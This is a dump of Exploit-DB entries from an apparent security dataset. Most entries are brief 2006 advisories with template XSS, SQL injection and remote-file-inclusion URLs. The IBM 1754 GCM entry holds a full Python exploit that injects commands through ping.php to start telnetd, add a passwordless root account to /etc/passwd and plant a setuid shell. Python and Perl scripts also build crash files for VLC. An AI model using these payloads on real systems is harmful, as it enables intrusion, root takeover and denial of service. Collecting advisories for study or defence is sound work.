QLWD/code_shield huggingface dataset:
标题: Asterisk Recording Interface 0.7.15 - 'Audio.php' Information Disclosure EDB-ID: 27716 CVE: 2006-2020 类型: REMOTE 平台: MULTIPLE 发布日期: 2006-04-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/17641/info

Asterisk Recording Interface is prone to an information-disclosure vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. 

An attacker can exploit this vulnerability to retrieve arbitrary MP3, WAV, and GSM files from the vulnerable system in the context of the application. Attackers may also exploit this issue to determine the existence of arbitrary files that don't have MP3, WAV, or GSM filename extensions.

Information gained by exploiting this issue may aid malicious users in further attacks.

http://www.example.com/recordings/misc/audio.php?recording=/var/spool/asterisk/voicemail/default/<mailbox>/INBOX/msg<messageid>.wav URL: https://www.exploit-db.com/exploits/27716
标题: Apple Mac OSX 10.x - LZWDecodeVector '.tiff' Overflow EDB-ID: 27714 CVE: 2006-1982 类型: DOS 平台: OSX 发布日期: 2006-04-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/17634/info

Apple Mac OS X is reported prone to multiple security vulnerabilities.

These issue affect Mac OS X and various applications including Safari, Preview, Finder, QuickTime, and BOMArchiveHelper. A remote attacker may exploit these issues to execute arbitrary code and/or trigger a denial-of-service condition.

Apple Mac OS X 10.4.6 and prior are reported vulnerable to these issues.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/27714-1.html

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/27714-2.html

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/27714-3.tiff URL: https://www.exploit-db.com/exploits/27714
标题: Manic Web MWGuest 2.1 - 'MWguest.php' HTML Injection EDB-ID: 27713 CVE: 2006-1979 类型: WEBAPPS 平台: PHP 发布日期: 2006-04-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/17630/info

MWGuest is prone to an HTML-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in dynamically generated content. 

Attacker-supplied HTML and script code would be executed in the context of the affected website, potentially allowing an attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible. 

Version 2.1.0 is vulnerable. Prior versions may be vulnerable as well.

URL: http://www.example.com/mwguest/mwguest.php
Homepage: ">[XSS]<aaa aaa=" URL: https://www.exploit-db.com/exploits/27713
标题: ThWboard 3.0 - 'index.php' Cross-Site Scripting EDB-ID: 27711 CVE: 2006-2037 类型: WEBAPPS 平台: PHP 发布日期: 2006-04-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/17627/info

ThWboard is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

ThWboard 3 Beta 2.84 is vulnerable to this issue. Other versions may be affected as well.

http://www.example.com/forum/index.php?navpath=[XSS] URL: https://www.exploit-db.com/exploits/27711
标题: Apple Mac OSX 10.x - '.zip' 'BOMStackPop()' Overflow EDB-ID: 27715 CVE: 2006-1985 类型: DOS 平台: OSX 发布日期: 2006-04-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/17634/info
 
Apple Mac OS X is reported prone to multiple security vulnerabilities.
 
These issue affect Mac OS X and various applications including Safari, Preview, Finder, QuickTime, and BOMArchiveHelper. A remote attacker may exploit these issues to execute arbitrary code and/or trigger a denial-of-service condition.
 
Apple Mac OS X 10.4.6 and prior are reported vulnerable to these issues.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/27715.zip URL: https://www.exploit-db.com/exploits/27715
标题: IBM 1754 GCM 1.18.0.22011 - Remote Command Execution EDB-ID: 27706 CVE: 2013-0526 类型: REMOTE 平台: HARDWARE 发布日期: 2013-08-19 漏洞利用脚本: I. Product description

The IBM 1754 GCM family provides KVM over IP and serial console management
technology in a single appliance.


II. Vulnerability information

Impact: Command execution
Remotely exploitable: yes
CVE: 2013-0526
CVS Score: 8.5


III. Vulnerability details

GCM16 (v.1.18.0.22011) and older versions of this KVM switch contain a flaw
that allows a remote authenticated user to execute unauthorized commands as
root.

This flaw exist because webapp variables are not sanitised. In this case,
parameters $count and $size from ping.php allow to create a special crafted
URL to inject text to an exec() so it can be arbitrary used to execute any
command on the KVM embedded linux.


IV. Proof of concept

Following is a simple exploit that lead to root access to the device,
opening a telnet and creating a new user with root permission without
password (sessid and target are hardcoded so it must be changed to work):


#!/usr/bin/python

"""

This exploit for Avocent KVM switch allows to gain root access to embedded
device. SessionId (avctSessionId) is neccesary for this to work, so you
need a valid user. Default user is "Admin" with blank password.

After running exploit, connect using telnet to device with user target
(pass: target) then do "/tmp/su - superb" to gain root

"""

from StringIO import StringIO
import pycurl
import re
sessid = "XXXXXXXXX"
target = "https://ip.of.kvm/ping.php" <https://172.30.30.40/ping.php>

command = "/sbin/telnetd ; echo superb::0:0:owned:/:/bin/sh >> /etc/passwd
; cp /bin/busybox /tmp/su ; chmod 6755 /tmp/su ; echo done. now connect to
device using telnet with user target and pass target, then \"/tmp/su -
superb\""

storage = StringIO()
c = pycurl.Curl()
c.setopt(c.URL, target)
c.setopt(c.SSL_VERIFYPEER,0)
c.setopt(c.SSL_VERIFYHOST,0)
c.setopt(c.WRITEFUNCTION,storage.write)
c.setopt(c.POSTFIELDS, 'address=255.255.255.255&action=ping&size=56&count=1
; echo *E* ; ' + command + ' ; echo *E*')
c.setopt(c.COOKIE,'avctSessionId=' + sessid)

try:
     c.perform()
     c.close()
except:
     print ""

content = storage.getvalue()
x1 = re.search(r"\*E\*(.*)\*E\*",content)
print x1.group(1).replace("<br />","\n")


V. Vendor Response

IBM released a new firmware that corrects this vulnerability (1.20.0.22575)


VI. Timeline

2013-06-12 - Vendor (IBM PSIRT) notified.
2013-06-12 - Vendor assigns internal ID.
2013-07-02 - Vendor confirms the vulnerability.
2013-08-16 - Vulnerability disclosed and patch released.


VII. External information

Information about this vulnerability (in spanish):
http://www.bitcloud.es/2013/08/vulnerabilidad-en-kvms-gcm1632-de-ibm.html
IBM Security Bulletin:
http://www-947.ibm.com/support/entry/portal/docdisplay?lndocid=MIGR-5093509



-- 
--
Alejandro Alvarez Bravo
alex.a.bravo@gmail.com URL: https://www.exploit-db.com/exploits/27706
标题: Net Clubs Pro 4.0 - 'imessage.cgi?Username' Cross-Site Scripting EDB-ID: 27696 CVE: 2006-1965 类型: WEBAPPS 平台: CGI 发布日期: 2006-04-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/17622/info
 
Net Clubs Pro is prone to multiple cross-site scripting vulnerabilities. These issues are due to the application's failure to properly sanitize user-supplied input. 
 
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
 
Net Clubs Pro 4.0 is vulnerable to these issues. Other versions may be affected as well.

http://www.example.com/cgi-bin/netclubs//vchat/scripts/imessage.cgi?toto=&to=&sentby=&fromuser=r0t&command=changefont&username=[XSS] URL: https://www.exploit-db.com/exploits/27696
标题: I-RATER Platinum - 'Common.php' Remote File Inclusion EDB-ID: 27707 CVE: 2006-1929 类型: WEBAPPS 平台: PHP 发布日期: 2006-04-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/17623/info

I-RATER Platinum is prone to a remote file-include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit this issue to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.

http://www.example.com/[path]/include/common.php?include_path=http://www.example2.com/ URL: https://www.exploit-db.com/exploits/27707
标题: W2B Online Banking - 'SID' Cross-Site Scripting EDB-ID: 27710 CVE: 2006-1980 类型: WEBAPPS 平台: PHP 发布日期: 2006-04-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/17626/info

W2B Online Banking is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com//?ilang=eng&SID=&[XSS] URL: https://www.exploit-db.com/exploits/27710
标题: Net Clubs Pro 4.0 - 'login.cgi?Password' Cross-Site Scripting EDB-ID: 27697 CVE: 2006-1965 类型: WEBAPPS 平台: CGI 发布日期: 2006-04-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/17622/info
  
Net Clubs Pro is prone to multiple cross-site scripting vulnerabilities. These issues are due to the application's failure to properly sanitize user-supplied input. 
  
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
  
Net Clubs Pro 4.0 is vulnerable to these issues. Other versions may be affected as well.

http://www.example.com/cgi-bin/netclubs//login.cgi?username=r0t&password=[XSS] URL: https://www.exploit-db.com/exploits/27697
标题: VideoLAN VLC Media Player 2.0.8 - '.m3u' Local Crash (PoC) EDB-ID: 27700 CVE: 2013-6283 类型: DOS 平台: WINDOWS 发布日期: 2013-08-19 漏洞利用脚本: # Exploit Title: VLC Player 2.0.8 <= Local Crash PoC
# Vendor URI: http://www.videolan.org/vlc/
# Vendor Description:
# VLC is a free and open source cross-platform multimedia player
# and framework that plays most multimedia files as well as DVD,
# Audio CD, VCD, and various streaming protocols.
# Tested on: [ Windows 7]


VLC Player is prone to a remote denial-of-service vulnerability.

Attackers may leverage this issue to execute arbitrary code in the context of the application. Failed exploit attempts may result in a denial-of-service condition.

VLC Player 2.0.8  is vulnerable; other versions may also be affected. 


# !/usr/bin/python
header="http://"
poc= "\x41" * 50000
file = open("asesino04.m3u","w")
file.write(header+poc)
file.close()
-------------------
#!/usr/bin/perl
system("title The Black Devils");
system("color 1e");
system("cls");
print "\n\n";               
print "    |=======================================================|\n";
print "    |= [!] Name : Easy Icon Maker Version                  =|\n";
print "    |= [!] Exploit : Crash  Exploit                        =|\n";
print "    |= [!] Author  : The Black Devils                      =|\n";
print "    |= [!] Mail: mr.k4rizma(at)gmail(dot)com               =|\n";
print "    |=======================================================|\n";
sleep(2);
print "\n";

# Creating ...
my $header="http://" ;
my $PoC = "\x41" x 50000 ;
open(file , ">", "inj3ct0rs.m3u");
print file $PoC;
print "\n [+] File successfully created!\n" or die print "\n [-] OupsS! 
File is Not Created !! ";
close(file);



# Contact :
------------------
# Fane Page : www.facebook.com/Th3.Black.D3Vils
# Youtube : www.youtube.com/user/Th3BlackDevils
# Facebook : www.facebook.com/DevilsDz
# Email : mr.k4rizma@gmail.com URL: https://www.exploit-db.com/exploits/27700
标题: Plexum PlexCart X5 - Multiple SQL Injections EDB-ID: 27692 CVE: 2006-1947 类型: WEBAPPS 平台: PHP 发布日期: 2006-04-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/17617/info

Plexum is prone to multiple SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

Version X5 is vulnerable; other versions may also be affected.

http://www.example.com/plexum.php?section=webstats&page=hits&startpos=15&maxrec=457&pagesize=[SQL]

http://www.example.com/plexum.php?section=webstats&page=hits&startpos=450&maxrec=[SQL]

http://www.example.com/plexum.php?section=webstats&page=hits&startpos=[SQL] URL: https://www.exploit-db.com/exploits/27692
标题: ContentBoxx - 'login.php' Cross-Site Scripting EDB-ID: 27688 CVE: 2006-1971 类型: WEBAPPS 平台: PHP 发布日期: 2006-04-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/17612/info

ContentBoxx is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/cms/login.php?action=XSS URL: https://www.exploit-db.com/exploits/27688
标题: Net Clubs Pro 4.0 - 'sendim.cgi' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 27695 CVE: 2006-1965 类型: WEBAPPS 平台: CGI 发布日期: 2006-04-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/17622/info

Net Clubs Pro is prone to multiple cross-site scripting vulnerabilities. These issues are due to the application's failure to properly sanitize user-supplied input. 

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Net Clubs Pro 4.0 is vulnerable to these issues. Other versions may be affected as well.

http://www.example.com/cgi-bin/netclubs//vchat/scripts/sendim.cgi?onuser=[XSS]

http://www.example.com/cgi-bin/netclubs//vchat/scripts/sendim.cgi?onuser=r0t&pass=[XSS]

http://www.example.com/cgi-bin/netclubs//vchat/scripts/sendim.cgi?onuser=r0t&pass=&chatsys=[XSS]

http://www.example.com/cgi-bin/netclubs//vchat/scripts/sendim.cgi?onuser=r0t&pass=&chatsys=netclubs&searchstring=netclubs&room=[XSS]

http://www.example.com/cgi-bin/netclubs//vchat/scripts/sendim.cgi?onuser=r0t&pass=&chatsys=netclubs&searchstring=netclubs&room=&username=[XSS]

http://www.example.com/cgi-bin/netclubs//vchat/scripts/sendim.cgi?onuser=r0t&pass=&chatsys=netclubs&searchstring=netclubs&room=&username=&to=[XSS] URL: https://www.exploit-db.com/exploits/27695
标题: xFlow 5.46.11 - 'index.cgi' Multiple SQL Injections EDB-ID: 27690 CVE: 2006-1849 类型: WEBAPPS 平台: CGI 发布日期: 2006-04-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/17614/info

xFlow is prone to multiple input-validation vulnerabilities. The issues include cross-site scripting and SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 

Successfully exploiting these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or even exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.

xFlow version 5.46.11 is vulnerable to these issues; other versions may also be affected.

http://www.example.com/members_only/index.cgi?id=4&username=r0t&seed=rjzzBzfrMplgqQMojRgrnALJMoiUeAdlxswNQvbo&action=view_downline&level=Direct&position=1[SQL] URL: https://www.exploit-db.com/exploits/27690
标题: otalCalendar - 'about.php?inc_dir' Remote File Inclusion EDB-ID: 27693 CVE: 2006-1922 类型: WEBAPPS 平台: PHP 发布日期: 2006-04-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/17618/info

TotalCalendar is prone to multiple remote file-include vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit these issues to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.

http://www.example.com/about.php?inc_dir=http://www.example2.com/ URL: https://www.exploit-db.com/exploits/27693
标题: AWStats 4.0/5.x/6.x - AWStats.pl Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 27694 CVE: 2006-1945 类型: WEBAPPS 平台: CGI 发布日期: 2006-04-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/17621/info

AWStats is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

AWStats version 6.5 (build 1.857) and prior are vulnerable to these issues.

http://www.example.com/awstats.pl?refererpagesfilter=[XSS]&refererpagesfilterex=&output=refererpages&config=unsecured-systems.com&year=2006&month=all
http://www.example.com/awstats.pl?refererpagesfilter=&refererpagesfilterex=[XSS]&output=refererpages&config=unsecured-systems.com&year=2006&month=all
http://www.example.com/awstats.pl?urlfilter=&urlfilterex=[XSS]&output=urlentry&config=unsecured-systems.com&year=2006&month=all
http://www.example.com/awstats.pl?urlfilter=[XSS]&urlfilterex=&output=urlentry&config=unsecured-systems.com&year=2006&month=all
http://www.example.com/awstats.pl?hostfilter=[XSS]&hostfilterex=&output=allhosts&config=unsecured-systems.com&year=2006&month=all
http://www.example.com/awstats.pl?hostfilter=&hostfilterex=[XSS]&output=allhosts&config=unsecured-systems.com&year=2006&month=all URL: https://www.exploit-db.com/exploits/27694
标题: xFlow 5.46.11 - 'index.cgi' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 27691 CVE: 2006-1850 类型: WEBAPPS 平台: CGI 发布日期: 2006-04-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/17614/info
 
xFlow is prone to multiple input-validation vulnerabilities. The issues include cross-site scripting and SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
 
Successfully exploiting these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or even exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.
 
xFlow version 5.46.11 is vulnerable to these issues; other versions may also be affected.

http://www.example.com/members_only/index.cgi?id=[SQL]&username=r0t&seed=TfgNxKhyqEELQQQKizBWyVShdbOpfugMaQhpuGqI
http://www.example.com/members_only/index.cgi?id=4&username=r0t&seed=rjzzBzfrMplgqQMojRgrnALJMoiUeAdlxswNQvbo&action=view_downline&level=[XSS]&position=10
http://www.example.com/members_only/index.cgi?id=4&username=r0t&seed=rjzzBzfrMplgqQMojRgrnALJMoiUeAdlxswNQvbo&action=view_downline&level=Direct&position=1[XSS]
http://www.example.com/members_only/index.cgi?id=[XSS]&username=r0t&seed=TfgNxKhyqEELQQQKizBWyVShdbOpfugMaQhpuGqI
http://www.example.com/members_only/index.cgi?id=4&username=r0t&seed=rjzzBzfrMplgqQMojRgrnALJMoiUeAdlxswNQvbo&action=[XSS]&level=&position=10
http://www.example.com/customer_area/index.cgi?id=1&username=r0t&seed=pWltDqcPcLuedZnXTwCNWldbpJmQANHFHfFvveFY&page=[XSS] URL: https://www.exploit-db.com/exploits/27691
标题: IntelliLink Pro 5.06 - 'addlink_lwp.cgi?url' Cross-Site Scripting EDB-ID: 27685 CVE: 2006-1943 类型: WEBAPPS 平台: CGI 发布日期: 2006-04-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/17605/info

IntelliLink Pro is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/addlink_lwp.cgi?url=[XSS] URL: https://www.exploit-db.com/exploits/27685
标题: IntelliLink Pro 5.06 - 'edit.cgi' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 27686 CVE: 2006-1943 类型: WEBAPPS 平台: CGI 发布日期: 2006-04-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/17605/info
 
IntelliLink Pro is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
 
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/edit.cgi?id=[XSS]
http://www.example.com/edit.cgi?forgotid=[XSS]
http://www.example.com/edit.cgi?forgotpass=[XSS] URL: https://www.exploit-db.com/exploits/27686
标题: CommuniMail 1.2 - 'templates.cgi?form_id' Cross-Site Scripting EDB-ID: 27683 CVE: 2006-1944 类型: WEBAPPS 平台: CGI 发布日期: 2006-04-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/17602/info
 
CommuniMail is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
 
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/cgi-bin/communimail/templates.cgi?saction=edit_form&form_id=[XSS] URL: https://www.exploit-db.com/exploits/27683
标题: BannerFarm 2.3 - Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 27689 CVE: 2006-1950 类型: WEBAPPS 平台: CGI 发布日期: 2006-04-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/17613/info

BannerFarm is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Version 2.3 of BannerFarm is vulnerable to these issues; other versions may also be affected.

http://www.example.com/banners.cgi?aff=[XSS]
http://www.example.com/banners.cgi?aff=&cat=[XSS] URL: https://www.exploit-db.com/exploits/27689
标题: Visale 1.0 - 'pblsmb.cgi?listno' Cross-Site Scripting EDB-ID: 27681 CVE: 2006-1946 类型: WEBAPPS 平台: CGI 发布日期: 2006-04-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/17598/info
  
Visale is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
  
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/pblsmb.cgi?cklv=0&listno=[XSS] URL: https://www.exploit-db.com/exploits/27681